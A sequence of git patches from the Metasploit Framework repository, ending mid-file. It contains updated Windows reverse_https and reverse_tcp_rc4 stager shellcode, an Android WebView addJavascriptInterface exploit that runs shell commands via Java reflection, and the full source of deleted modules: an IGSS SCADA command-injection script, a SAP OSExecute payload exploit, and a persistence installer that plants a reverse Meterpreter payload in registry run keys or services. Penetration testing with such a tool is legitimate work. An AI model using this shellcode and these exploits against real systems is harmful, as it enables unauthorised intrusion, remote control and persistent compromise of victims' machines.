a/modules/payloads/stagers/windows/reverse_https.rb b/modules/payloads/stagers/windows/reverse_https.rb index ae8312b43c..7c7d449b8f 100644 --- a/modules/payloads/stagers/windows/reverse_https.rb +++ b/modules/payloads/stagers/windows/reverse_https.rb @@ -33,11 +33,11 @@ module Metasploit3 }, 'Payload' => - # Built on Tue Feb 4 09:05:59 2014 + # Built on Tue Feb 4 11:36:42 2014 # Name: stager_reverse_https - # Length: 336 bytes + # Length: 337 bytes # LEPort Offset: 180 - # ExitFunk Offset: 257 + # ExitFunk Offset: 258 "\xFC\xE8\x86\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" + "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" + "\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" + @@ -49,16 +49,17 @@ module Metasploit3 "\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x89\x5D\x68\x6E\x65" + "\x74\x00\x68\x77\x69\x6E\x69\x54\x68\x4C\x77\x26\x07\xFF\xD5\x31" + "\xDB\x53\x53\x53\x53\x53\x68\x3A\x56\x79\xA7\xFF\xD5\x53\x53\x6A" + - "\x03\x53\x53\x68\x5C\x11\x00\x00\xEB\x4D\x50\x68\x57\x89\x9F\xC6" + - "\xFF\xD5\x53\x68\x00\x32\xE0\x84\x53\x53\x53\xEB\x3C\x53\x50\x68" + - "\xEB\x55\x2E\x3B\xFF\xD5\x96\x6A\x10\x59\x68\x80\x33\x00\x00\x89" + + "\x03\x53\x53\x68\x5C\x11\x00\x00\xEB\x4E\x50\x68\x57\x89\x9F\xC6" + + "\xFF\xD5\x53\x68\x00\x32\xE0\x84\x53\x53\x53\xEB\x3D\x53\x50\x68" + + "\xEB\x55\x2E\x3B\xFF\xD5\x96\x6A\x10\x5F\x68\x80\x33\x00\x00\x89" + "\xE0\x6A\x04\x50\x6A\x1F\x56\x68\x75\x46\x9E\x86\xFF\xD5\x53\x53" + - "\x53\x53\x56\x68\x2D\x06\x18\x7B\xFF\xD5\x85\xC0\x75\x17\xE0\xDA" + - "\x68\xF0\xB5\xA2\x56\xFF\xD5\xEB\x42\xE8\xBF\xFF\xFF\xFF\x2F\x31" + - "\x32\x33\x34\x35\x00\x6A\x40\x68\x00\x10\x00\x00\x68\x00\x00\x40" + - "\x00\x53\x68\x58\xA4\x53\xE5\xFF\xD5\x93\x53\x53\x89\xE7\x57\x68" + - "\x00\x20\x00\x00\x53\x56\x68\x12\x96\x89\xE2\xFF\xD5\x85\xC0\x74" + - "\xBF\x8B\x07\x01\xC3\x85\xC0\x75\xE5\x58\xC3\xE8\x6A\xFF\xFF\xFF" + "\x53\x53\x56\x68\x2D\x06\x18\x7B\xFF\xD5\x85\xC0\x75\x18\x4F\x75" + + "\xD9\x68\xF0\xB5\xA2\x56\xFF\xD5\xEB\x42\xE8\xBE\xFF\xFF\xFF\x2F" + + "\x31\x32\x33\x34\x35\x00\x6A\x40\x68\x00\x10\x00\x00\x68\x00\x00" + + "\x40\x00\x53\x68\x58\xA4\x53\xE5\xFF\xD5\x93\x53\x53\x89\xE7\x57" + + "\x68\x00\x20\x00\x00\x53\x56\x68\x12\x96\x89\xE2\xFF\xD5\x85\xC0" + + "\x74\xBF\x8B\x07\x01\xC3\x85\xC0\x75\xE5\x58\xC3\xE8\x69\xFF\xFF" + + "\xFF" } )) From 20b806222063890af12cfc9440fd980f8db8df4e Mon Sep 17 00:00:00 2001 From: James Lee <egypt@metasploit.com> Date: Tue, 4 Feb 2014 12:30:56 -0600 Subject: [PATCH 177/246] Apply blockapi changes to reverse_tcp_rc4 --- .../stagers/windows/reverse_tcp_rc4.rb | 68 +++++++++++-------- 1 file changed, 38 insertions(+), 30 deletions(-) diff --git a/modules/payloads/stagers/windows/reverse_tcp_rc4.rb b/modules/payloads/stagers/windows/reverse_tcp_rc4.rb index 9c7c12e5e8..8775d727cc 100644 --- a/modules/payloads/stagers/windows/reverse_tcp_rc4.rb +++ b/modules/payloads/stagers/windows/reverse_tcp_rc4.rb @@ -33,40 +33,48 @@ module Metasploit3 'RequiresMidstager' => false, 'Offsets' => { - 'LHOST' => [ 197, 'ADDR' ], - 'LPORT' => [ 204, 'n' ], - 'ReverseConnectRetries' => [ 195, 'C'], - 'XORKey' => [ 252, '' ], - 'RC4Key' => [ 316, '' ], + 'LHOST' => [ 194, 'ADDR' ], + 'LPORT' => [ 201, 'n' ], + 'ReverseConnectRetries' => [ 192, 'C'], + 'XORKey' => [ 249, '' ], + 'RC4Key' => [ 313, '' ], }, 'Payload' => - # Length: 403 bytes - "\xFC\xE8\x89\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" + + + # Name: stager_reverse_tcp_rc4 + # Length: 400 bytes + # Port Offset: 201 + # Host Offset: 194 + # RetryCounter Offset: 192 + # ExitFunk Offset: 226 + # RC4Key Offset: 313 + # XORKey Offset: 249 + "\xFC\xE8\x86\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" + "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" + "\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" + - "\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4A\x01" + - "\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01\xD3\xE3\x3C\x49\x8B\x34\x8B" + - "\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4" + - "\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B" + - "\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24" + - "\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D" + - "\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5F\x54\x68\x4C\x77\x26\x07" + - "\xFF\xD5\xB8\x90\x01\x00\x00\x29\xC4\x54\x50\x68\x29\x80\x6B\x00" + - "\xFF\xD5\x50\x50\x50\x50\x40\x50\x40\x50\x68\xEA\x0F\xDF\xE0\xFF" + - "\xD5\x97\x6A\x05\x68\x7F\x00\x00\x01\x68\x02\x00\x11\x5C\x89\xE6" + - "\x6A\x10\x56\x57\x68\x99\xA5\x74\x61\xFF\xD5\x85\xC0\x74\x0C\xFF" + - "\x4E\x08\x75\xEC\x68\xF0\xB5\xA2\x56\xFF\xD5\x6A\x00\x6A\x04\x56" + - "\x57\x68\x02\xD9\xC8\x5F\xFF\xD5\x8B\x36\x81\xF6\x58\x4F\x52\x4B" + - "\x8D\x0E\x6A\x40\x68\x00\x10\x00\x00\x51\x6A\x00\x68\x58\xA4\x53" + - "\xE5\xFF\xD5\x8D\x98\x00\x01\x00\x00\x53\x56\x50\x6A\x00\x56\x53" + - "\x57\x68\x02\xD9\xC8\x5F\xFF\xD5\x01\xC3\x29\xC6\x85\xF6\x75\xEC" + - "\x5B\x59\x5D\x55\x57\x89\xDF\xE8\x10\x00\x00\x00\x52\x43\x34\x4B" + - "\x65\x79\x4D\x65\x74\x61\x73\x70\x6C\x6F\x69\x74\x5E\x31\xC0\xAA" + - "\xFE\xC0\x75\xFB\x81\xEF\x00\x01\x00\x00\x31\xDB\x02\x1C\x07\x89" + - "\xC2\x80\xE2\x0F\x02\x1C\x16\x8A\x14\x07\x86\x14\x1F\x88\x14\x07" + - "\xFE\xC0\x75\xE8\x31\xDB\xFE\xC0\x02\x1C\x07\x8A\x14\x07\x86\x14" + - "\x1F\x88\x14\x07\x02\x14\x1F\x8A\x14\x17\x30\x55\x00\x45\x49\x75" + - "\xE5\x5F\xC3" + "\x8B\x52\x10\x8B\x42\x3C\x8B\x4C\x10\x78\xE3\x4A\x01\xD1\x51\x8B" + + "\x59\x20\x01\xD3\x8B\x49\x18\xE3\x3C\x49\x8B\x34\x8B\x01\xD6\x31" + + "\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4\x03\x7D\xF8" + + "\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B\x0C\x4B\x8B" + + "\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24\x5B\x5B\x61" + + "\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x89\x5D\x68\x33\x32" + + "\x00\x00\x68\x77\x73\x32\x5F\x54\x68\x4C\x77\x26\x07\xFF\xD5\xB8" + + "\x90\x01\x00\x00\x29\xC4\x54\x50\x68\x29\x80\x6B\x00\xFF\xD5\x50" + + "\x50\x50\x50\x40\x50\x40\x50\x68\xEA\x0F\xDF\xE0\xFF\xD5\x97\x6A" + + "\x05\x68\x7F\x00\x00\x01\x68\x02\x00\x11\x5C\x89\xE6\x6A\x10\x56" + + "\x57\x68\x99\xA5\x74\x61\xFF\xD5\x85\xC0\x74\x0C\xFF\x4E\x08\x75" + + "\xEC\x68\xF0\xB5\xA2\x56\xFF\xD5\x6A\x00\x6A\x04\x56\x57\x68\x02" + + "\xD9\xC8\x5F\xFF\xD5\x8B\x36\x81\xF6\x58\x4F\x52\x4B\x8D\x0E\x6A" + + "\x40\x68\x00\x10\x00\x00\x51\x6A\x00\x68\x58\xA4\x53\xE5\xFF\xD5" + + "\x8D\x98\x00\x01\x00\x00\x53\x56\x50\x6A\x00\x56\x53\x57\x68\x02" + + "\xD9\xC8\x5F\xFF\xD5\x01\xC3\x29\xC6\x85\xF6\x75\xEC\x5B\x59\x5D" + + "\x55\x57\x89\xDF\xE8\x10\x00\x00\x00\x52\x43\x34\x4B\x65\x79\x4D" + + "\x65\x74\x61\x73\x70\x6C\x6F\x69\x74\x5E\x31\xC0\xAA\xFE\xC0\x75" + + "\xFB\x81\xEF\x00\x01\x00\x00\x31\xDB\x02\x1C\x07\x89\xC2\x80\xE2" + + "\x0F\x02\x1C\x16\x8A\x14\x07\x86\x14\x1F\x88\x14\x07\xFE\xC0\x75" + + "\xE8\x31\xDB\xFE\xC0\x02\x1C\x07\x8A\x14\x07\x86\x14\x1F\x88\x14" + + "\x07\x02\x14\x1F\x8A\x14\x17\x30\x55\x00\x45\x49\x75\xE5\x5F\xC3" + } )) From 23fc73924edeb37885468932e42c7711fe9d704c Mon Sep 17 00:00:00 2001 From: Joe Vennix <joev@metasploit.com> Date: Tue, 4 Feb 2014 14:24:36 -0600 Subject: [PATCH 178/246] Msftidy it up. --- .../android/browser/webview_addjavascriptinterface.rb | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/modules/exploits/android/browser/webview_addjavascriptinterface.rb b/modules/exploits/android/browser/webview_addjavascriptinterface.rb index 372224d81a..971748514e 100644 --- a/modules/exploits/android/browser/webview_addjavascriptinterface.rb +++ b/modules/exploits/android/browser/webview_addjavascriptinterface.rb @@ -27,10 +27,10 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'Android < 4.2 Browser & WebView addJavascriptInterface Code Execution', + 'Name' => 'Android Browser and WebView addJavascriptInterface Code Execution', 'Description' => %q{ - This module exploits a privilege escalation issue that arises when untrusted - Javascript code is executed by an Android WebView component that has one or more + This module exploits a privilege escalation issue in Android < 4.2's WebView component + that arises when untrusted Javascript code is executed by a WebView that has one or more Interfaces added to it. The untrusted Javascript code can call into the Java Reflection APIs exposed by the Interface and execute arbitrary commands. @@ -85,7 +85,7 @@ class Metasploit3 < Msf::Exploit::Remote // get the runtime so we can exec var m = obj.getClass().forName('java.lang.Runtime').getMethod('getRuntime', null); var data = "#{Rex::Text.to_hex(payload.encoded_exe, '\\\\x')}"; - + // get the process name, which will give us our data path var p = m.invoke(null, null).exec(['/system/bin/sh', '-c', 'cat /proc/$PPID/cmdline']); var ch, path = '/data/data/'; From 80e7ae144b24d1b9174937e6593e50df92f13c85 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Tue, 4 Feb 2014 14:34:11 -0600 Subject: [PATCH 179/246] Use the platform when selecting the payload --- lib/msf/core/exploit.rb | 2 +- lib/msf/core/payload.rb | 2 +- modules/encoders/cmd/generic_sh.rb | 3 ++- modules/encoders/cmd/ifs.rb | 3 ++- modules/encoders/cmd/printf_php_mq.rb | 1 + 5 files changed, 7 insertions(+), 4 deletions(-) diff --git a/lib/msf/core/exploit.rb b/lib/msf/core/exploit.rb index a019d13020..73fb4b48b6 100644 --- a/lib/msf/core/exploit.rb +++ b/lib/msf/core/exploit.rb @@ -746,7 +746,7 @@ class Exploit < Msf::Module c_arch = (target and target.arch) ? target.arch : (arch == []) ? nil : arch framework.encoders.each_module_ranked( - 'Arch' => c_arch) { |name, mod| + 'Arch' => c_arch, 'Platform' => c_platform) { |name, mod| encoders << [ name, mod ] } diff --git a/lib/msf/core/payload.rb b/lib/msf/core/payload.rb index 37663df261..a712034020 100644 --- a/lib/msf/core/payload.rb +++ b/lib/msf/core/payload.rb @@ -414,7 +414,7 @@ class Payload < Msf::Module encoders = [] framework.encoders.each_module_ranked( - 'Arch' => self.arch) { |name, mod| + 'Arch' => self.arch, 'Platform' => self.platform) { |name, mod| encoders << [ name, mod ] } diff --git a/modules/encoders/cmd/generic_sh.rb b/modules/encoders/cmd/generic_sh.rb index bd46b5aaa9..867195863a 100644 --- a/modules/encoders/cmd/generic_sh.rb +++ b/modules/encoders/cmd/generic_sh.rb @@ -20,7 +20,8 @@ class Metasploit3 < Msf::Encoder tricks to avoid commonly restricted characters. }, 'Author' => 'hdm', - 'Arch' => ARCH_CMD) + 'Arch' => ARCH_CMD, + 'Platform' => 'unix') end diff --git a/modules/encoders/cmd/ifs.rb b/modules/encoders/cmd/ifs.rb index 07c0356603..9b8527a49f 100644 --- a/modules/encoders/cmd/ifs.rb +++ b/modules/encoders/cmd/ifs.rb @@ -21,7 +21,8 @@ class Metasploit3 < Msf::Encoder to avoid spaces without being overly fancy. }, 'Author' => 'egypt', - 'Arch' => ARCH_CMD) + 'Arch' => ARCH_CMD, + 'Platform' => 'unix') end diff --git a/modules/encoders/cmd/printf_php_mq.rb b/modules/encoders/cmd/printf_php_mq.rb index fcfa9d829a..f0bd8ceff1 100644 --- a/modules/encoders/cmd/printf_php_mq.rb +++ b/modules/encoders/cmd/printf_php_mq.rb @@ -30,6 +30,7 @@ class Metasploit3 < Msf::Encoder }, 'Author' => 'jduck', 'Arch' => ARCH_CMD, + 'Platform' => 'unix', 'EncoderType' => Msf::Encoder::Type::PrintfPHPMagicQuotes) end From 89e1bcc0ca057a6eeb5887c77c5f026d3f84d7cb Mon Sep 17 00:00:00 2001 From: sinn3r <wei_chen@rapid7.com> Date: Tue, 4 Feb 2014 14:49:18 -0600 Subject: [PATCH 180/246] Deprecate modules with date 2013-something These modules had an expiration date of 2013. --- modules/auxiliary/admin/scada/igss_exec_17.rb | 65 --- .../http/sap_mgmt_con_osexec_payload.rb | 151 ------- modules/post/windows/gather/resolve_hosts.rb | 69 ---- modules/post/windows/manage/persistence.rb | 370 ------------------ 4 files changed, 655 deletions(-) delete mode 100644 modules/auxiliary/admin/scada/igss_exec_17.rb delete mode 100644 modules/exploits/windows/http/sap_mgmt_con_osexec_payload.rb delete mode 100644 modules/post/windows/gather/resolve_hosts.rb delete mode 100644 modules/post/windows/manage/persistence.rb diff --git a/modules/auxiliary/admin/scada/igss_exec_17.rb b/modules/auxiliary/admin/scada/igss_exec_17.rb deleted file mode 100644 index 1b250ddf59..0000000000 --- a/modules/auxiliary/admin/scada/igss_exec_17.rb +++ /dev/null @@ -1,65 +0,0 @@ -## -# This module requires Metasploit: http//metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -## - -require 'msf/core' - -class Metasploit3 < Msf::Auxiliary - - require 'msf/core/module/deprecated' - include Msf::Module::Deprecated - deprecated Date.new(2013, 12, 17), 'exploit/windows/scada/igss_exec_17' - - include Msf::Exploit::Remote::Tcp - - def initialize(info = {}) - super(update_info(info, - 'Name' => 'Interactive Graphical SCADA System Remote Command Injection', - 'Description' => %q{ - This module abuses a directory traversal flaw in Interactive - Graphical SCADA System v9.00. In conjunction with the traversal - flaw, if opcode 0x17 is sent to the dc.exe process, an attacker - may be able to execute arbitrary system commands. - }, - 'Author' => [ 'Luigi Auriemma', 'MC' ], - 'License' => MSF_LICENSE, - 'References' => - [ - [ 'CVE', '2011-1566'], - [ 'OSVDB', '72349'], - [ 'URL', 'http://aluigi.org/adv/igss_8-adv.txt' ], - ], - 'DisclosureDate' => 'Mar 21 2011')) - - register_options( - [ - Opt::RPORT(12397), - OptString.new('CMD', [ false, 'The OS command to execute', 'echo metasploit > %SYSTEMDRIVE%\\metasploit.txt']), - ], self.class) - end - - def run - - connect - - exec = datastore['CMD'] - - packet = [0x00000100].pack('V') + [0x00000000].pack('V') - packet << [0x00000100].pack('V') + [0x00000017].pack('V') - packet << [0x00000000].pack('V') + [0x00000000].pack('V') - packet << [0x00000000].pack('V') + [0x00000000].pack('V') - packet << [0x00000000].pack('V') + [0x00000000].pack('V') - packet << [0x00000000].pack('V') - packet << "..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\" - packet << "windows\\system32\\cmd.exe\" /c #{exec}" - packet << "\x00" * (143 + exec.length) - - print_status("Sending command: #{exec}") - sock.put(packet) - sock.get_once(-1,0.5) - disconnect - - end - -end diff --git a/modules/exploits/windows/http/sap_mgmt_con_osexec_payload.rb b/modules/exploits/windows/http/sap_mgmt_con_osexec_payload.rb deleted file mode 100644 index 3e9604725f..0000000000 --- a/modules/exploits/windows/http/sap_mgmt_con_osexec_payload.rb +++ /dev/null @@ -1,151 +0,0 @@ -## -# This module requires Metasploit: http//metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -## - -require 'msf/core' - -class Metasploit4 < Msf::Exploit::Remote - - require 'msf/core/module/deprecated' - include Msf::Module::Deprecated - deprecated Date.new(2013, 12, 1), "exploit/multi/sap/sap_mgmt_con_osexec_payload" - - Rank = ExcellentRanking - - HttpFingerprint = { :pattern => [ /gSOAP\/2.7/ ] } - - include Msf::Exploit::Remote::HttpClient - include Msf::Exploit::CmdStagerVBS - include Msf::Exploit::EXE - - def initialize(info = {}) - super(update_info(info, - 'Name' => 'SAP Management Console OSExecute Payload Execution', - 'License' => MSF_LICENSE, - 'Author' => [ 'Chris John Riley' ], - 'Description' => %q{ - This module executes an arbitrary payload through the SAP Management Console - SOAP Interface. A valid username and password must be provided. - }, - 'References' => - [ - # General - [ 'URL', 'http://blog.c22.cc' ] - ], - 'Privileged' => true, - 'DefaultOptions' => - { - }, - 'Payload' => - { - 'BadChars' => "\x00\x3a\x3b\x3d\x3c\x3e\x0a\x0d\x22\x26\x27\x2f\x60\xb4", - }, - 'Platform' => [ 'win' ], - 'Targets' => - [ - [ - 'Windows Universal', - { - 'Arch' => ARCH_X86, - 'Platform' => 'win' - }, - ], - ], - 'DefaultTarget' => 0, - 'DisclosureDate' => 'Mar 08 2011' - )) - - register_options( - [ - Opt::RPORT(50013), - OptString.new('URI', [false, 'Path to the SAP Management Console ', '/']), - OptString.new('USERNAME', [true, 'Username to use', '']), - OptString.new('PASSWORD', [true, 'Password to use', '']), - ], self.class) - register_advanced_options( - [ - OptInt.new('PAYLOAD_SPLIT', [true, 'Size of payload segments', '7500']), - ], self.class) - register_autofilter_ports([ 50013 ]) - end - - def autofilter - false - end - - def exploit - print_status("[SAP] Connecting to SAP Management Console SOAP Interface on #{rhost}:#{rport}") - linemax = datastore['PAYLOAD_SPLIT'] # Values over 9000 can cause issues - print_status("Using custom payload size of #{linemax}") if linemax != 7500 - execute_cmdstager({ :delay => 0.35, :linemax => linemax }) - handler - end - - # This is method required for the CmdStager to work... - def execute_command(cmd, opts) - - soapenv = 'http://schemas.xmlsoap.org/soap/envelope/' - xsi = 'http://www.w3.org/2001/XMLSchema-instance' - xs = 'http://www.w3.org/2001/XMLSchema' - sapsess = 'http://www.sap.com/webas/630/soap/features/session/' - ns1 = 'ns1:OSExecute' - - cmd_s = cmd.split("&") #Correct issue with multiple commands on a single line - if cmd_s.length > 1 - print_status("Command Stager progress - Split final payload for delivery (#{cmd_s.length} sections)") - end - - cmd_s = cmd_s.collect(&:strip) - cmd_s.each do |payload| - - data = '<?xml version="1.0" encoding="utf-8"?>' + "\r\n" - data << '<SOAP-ENV:Envelope xmlns:SOAP-ENV="' + soapenv + '" xmlns:xsi="' + xsi + '" xmlns:xs="' + xs + '">' + "\r\n" - data << '<SOAP-ENV:Header>' + "\r\n" - data << '<sapsess:Session xlmns:sapsess="' + sapsess + '">' + "\r\n" - data << '<enableSession>true</enableSession>' + "\r\n" - data << '</sapsess:Session>' + "\r\n" - data << '</SOAP-ENV:Header>' + "\r\n" - data << '<SOAP-ENV:Body>' + "\r\n" - data << '<' + ns1 + ' xmlns:ns1="urn:SAPControl"><command>cmd /c ' + payload.strip - data << '</command><async>0</async></' + ns1 + '>' + "\r\n" - data << '</SOAP-ENV:Body>' + "\r\n" - data << '</SOAP-ENV:Envelope>' + "\r\n\r\n" - - user_pass = Rex::Text.encode_base64(datastore['USERNAME'] + ":" + datastore['PASSWORD']) - - begin - res = send_request_raw({ - 'uri' => normalize_uri(datastore['URI']), - 'method' => 'POST', - 'data' => data, - 'headers' => - { - 'Content-Length' => data.length, - 'SOAPAction' => '""', - 'Authorization' => 'Basic ' + user_pass, - 'Content-Type' => 'text/xml; charset=UTF-8', - } - }, 60) - - if (res and res.code != 500 and res.code != 200) - print_error("[SAP] An unknown response was received from the server") - abort("Invlaid server response") - elsif res and res.code == 500 - body = res.body - if body.match(/Invalid Credentials/i) - print_error("[SAP] The Supplied credentials are incorrect") - abort("Exploit not complete, check credentials") - elsif body.match(/Permission denied/i) - print_error("[SAP] The Supplied credentials are valid, but lack OSExecute permissions") - fail_with(Failure::NoAccess, "Exploit not complete, check credentials") - end - end - - rescue ::Rex::ConnectionError - fail_with(Failure::Unreachable, "Could not access SAP service") - break - end - end - end -end diff --git a/modules/post/windows/gather/resolve_hosts.rb b/modules/post/windows/gather/resolve_hosts.rb deleted file mode 100644 index 2af8233154..0000000000 --- a/modules/post/windows/gather/resolve_hosts.rb +++ /dev/null @@ -1,69 +0,0 @@ -## -# This module requires Metasploit: http//metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -## - -require 'msf/core' -require 'rex' - -class Metasploit3 < Msf::Post - - require 'msf/core/module/deprecated' - include Msf::Module::Deprecated - deprecated Date.new(2013, 12, 9), 'post/multi/gather/resolve_hosts' - - def initialize(info={}) - super( update_info( info, - 'Name' => 'Windows Resolve Hosts', - 'Description' => %q{ - Resolves hostnames to either IPv4 or IPv6 addresses from the perspective of the remote host. - }, - 'License' => MSF_LICENSE, - 'Author' => [ 'Ben Campbell <eat_meatballs[at]hotmail.co.uk>' ], - 'Platform' => [ 'win' ], - 'SessionTypes' => [ 'meterpreter' ] - )) - - register_options([ - OptString.new('HOSTNAMES', [true, 'Comma seperated list of hostnames to resolve.']), - OptEnum.new('AI_FAMILY', [true, 'Address Family', 'IPv4', ['IPv4', 'IPv6'] ]) - ], self.class) - end - - def run - hosts = datastore['HOSTNAMES'].split(',') - - if datastore['AI_FAMILY'] == 'IPv4' - family = AF_INET - else - family = AF_INET6 - end - - # Clear whitespace - hosts.collect{|x| x.strip!} - - print_status("Attempting to resolve '#{hosts.join(', ')}' on #{sysinfo['Computer']}") if not sysinfo.nil? - - response = client.net.resolve.resolve_hosts(hosts, family) - - table = Rex::Ui::Text::Table.new( - 'Indent' => 0, - 'SortIndex' => -1, - 'Columns' => - [ - 'Hostname', - 'IP', - ] - ) - - response.each do |result| - if result[:ip].nil? - table << [result[:hostname], '[Failed To Resolve]'] - else - table << [result[:hostname], result[:ip]] - end - end - - table.print - end -end diff --git a/modules/post/windows/manage/persistence.rb b/modules/post/windows/manage/persistence.rb deleted file mode 100644 index c0e8962a8f..0000000000 --- a/modules/post/windows/manage/persistence.rb +++ /dev/null @@ -1,370 +0,0 @@ -## -# This module requires Metasploit: http//metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -## - -require 'msf/core' -require 'rex' - -class Metasploit3 < Msf::Post - require 'msf/core/module/deprecated' - include Msf::Module::Deprecated - deprecated Date.new(2013, 11, 12), 'exploit/windows/local/persistence' - - include Msf::Post::File - include Msf::Post::Windows::Priv - include Msf::Post::Windows::Registry - include Msf::Post::Windows::Services - - def initialize(info={}) - super( update_info( info, - 'Name' => 'Windows Manage Persistent Payload Installer', - 'Description' => %q{ - This Module will create a boot persistent reverse Meterpreter session by - installing on the target host the payload as a script that will be executed - at user logon or system startup depending on privilege and selected startup - method. - - REXE mode will transfer a binary of your choosing to remote host to be - used as a payload. - }, - 'License' => MSF_LICENSE, - 'Author' => - [ - 'Carlos Perez <carlos_perez[at]darkoperator.com>', - 'Merlyn drforbin Cousins <drforbin6[at]gmail.com>' - ], - 'Platform' => [ 'win' ], - 'Actions' => [['TEMPLATE'], ['REXE']], - 'DefaultAction' => 'TEMPLATE', - 'SessionTypes' => [ 'meterpreter' ] - )) - - register_options( - [ - OptAddress.new('LHOST', [true, 'IP for persistent payload to connect to.']), - OptInt.new('LPORT', [true, 'Port for persistent payload to connect to.']), - OptInt.new('DELAY', [true, 'Delay in seconds for persistent payload to reconnect.', 5]), - OptEnum.new('STARTUP', [true, 'Startup type for the persistent payload.', 'USER', ['USER','SYSTEM','SERVICE']]), - OptBool.new('HANDLER', [ false, 'Start a Multi/Handler to Receive the session.', true]), - OptString.new('TEMPLATE', [false, 'Alternate template Windows PE File to use.']), - OptString.new('REXE',[false, 'The remote executable to use.','']), - OptString.new('REXENAME',[false, 'The name to call exe on remote system','']), - OptEnum.new('PAYLOAD_TYPE', [true, 'Meterpreter Payload Type.', 'TCP',['TCP','HTTP','HTTPS']]) - ], self.class) - - register_advanced_options( - [ - OptString.new('OPTIONS', [false, "Comma separated list of additional options for payload if needed in \'opt=val,opt=val\' format.",""]), - OptString.new('ENCODER', [false, "Encoder name to use for encoding.",]), - OptInt.new('ITERATIONS', [false, 'Number of iterations for encoding.']), - ], self.class) - end - - # Run Method for when run command is issued - #------------------------------------------------------------------------------- - def run - print_status("Running module against #{sysinfo['Computer']}") - - # Set vars - rexe = datastore['REXE'] - rexename = datastore['REXENAME'] - lhost = datastore['LHOST'] - lport = datastore['LPORT'] - opts = datastore['OPTIONS'] - delay = datastore['DELAY'] - encoder = datastore['ENCODER'] - iterations = datastore['ITERATIONS'] - @clean_up_rc = "" - host,port = session.session_host, session.session_port - payload = "windows/meterpreter/reverse_tcp" - - if datastore['ACTION'] == 'TEMPLATE' - # Check that if a template is provided that it actually exists - if datastore['TEMPLATE'] - if not ::File.exists?(datastore['TEMPLATE']) - print_error "Template PE File does not exists!" - return - else - template_pe = datastore['TEMPLATE'] - end - end - - # Set the proper payload - case datastore['PAYLOAD_TYPE'] - when /TCP/i - payload = "windows/meterpreter/reverse_tcp" - when /HTTP/i - payload = "windows/meterpreter/reverse_http" - when /HTTPS/i - payload = "windows/meterpreter/reverse_https" - end - - # Create payload and script - pay = create_payload(payload, lhost, lport, opts = "") - raw = pay_gen(pay,encoder, iterations) - script = create_script(delay, template_pe, raw) - script_on_target = write_script_to_target(script) - else - if datastore['REXE'].nil? or datastore['REXE'].empty? - print_error("Please define REXE") - return - end - - if datastore['REXENAME'].nil? or datastore['REXENAME'].empty? - print_error("Please define REXENAME") - return - end - - if not ::File.exist?(datastore['REXE']) - print_error("Rexe file does not exist!") - return - end - - raw = create_payload_from_file(rexe) - script_on_target = write_exe_to_target(raw,rexename) - end - - - # Start handler if set - create_multihand(payload, lhost, lport) if datastore['HANDLER'] - - # Initial execution of script - target_exec(script_on_target) - - case datastore['STARTUP'] - when /USER/i - write_to_reg("HKCU",script_on_target) - when /SYSTEM/i - write_to_reg("HKLM",script_on_target) - when /SERVICE/i - install_as_service(script_on_target) - end - - clean_rc = log_file() - file_local_write(clean_rc,@clean_up_rc) - print_status("Cleanup Meterpreter RC File: #{clean_rc}") - - report_note(:host => host, - :type => "host.persistance.cleanup", - :data => { - :local_id => session.sid, - :stype => session.type, - :desc => session.info, - :platform => session.platform, - :via_payload => session.via_payload, - :via_exploit => session.via_exploit, - :created_at => Time.now.utc, - :commands => @clean_up_rc - } - ) - end - - # Generate raw payload - #------------------------------------------------------------------------------- - def pay_gen(pay,encoder, iterations) - raw = pay.generate - if encoder - if enc_compat(pay, encoder) - print_status("Encoding with #{encoder}") - enc = framework.encoders.create(encoder) - (1..iterations).each do |i| - print_status("\tRunning iteration #{i}") - raw = enc.encode(raw, nil, nil, "Windows") - end - end - end - return raw - end - - # Check if encoder specified is in the compatible ones - # - # Note: This should allow to adapt to new encoders if they appear with out having - # to have a static whitelist. - #------------------------------------------------------------------------------- - def enc_compat(payload, encoder) - compat = false - payload.compatible_encoders.each do |e| - if e[0] == encoder.strip - compat = true - end - end - return compat - end - - # Create a payload given a name, lhost and lport, additional options - #------------------------------------------------------------------------------- - def create_payload(name, lhost, lport, opts = "") - - pay = session.framework.payloads.create(name) - pay.datastore['LHOST'] = lhost - pay.datastore['LPORT'] = lport - if not opts.empty? - opts.split(",").each do |o| - opt,val = o.split("=", 2) - pay.datastore[opt] = val - end - end - # Validate the options for the module - pay.options.validate(pay.datastore) - return pay - - end - - # Function for Creating persistent script - #------------------------------------------------------------------------------- - def 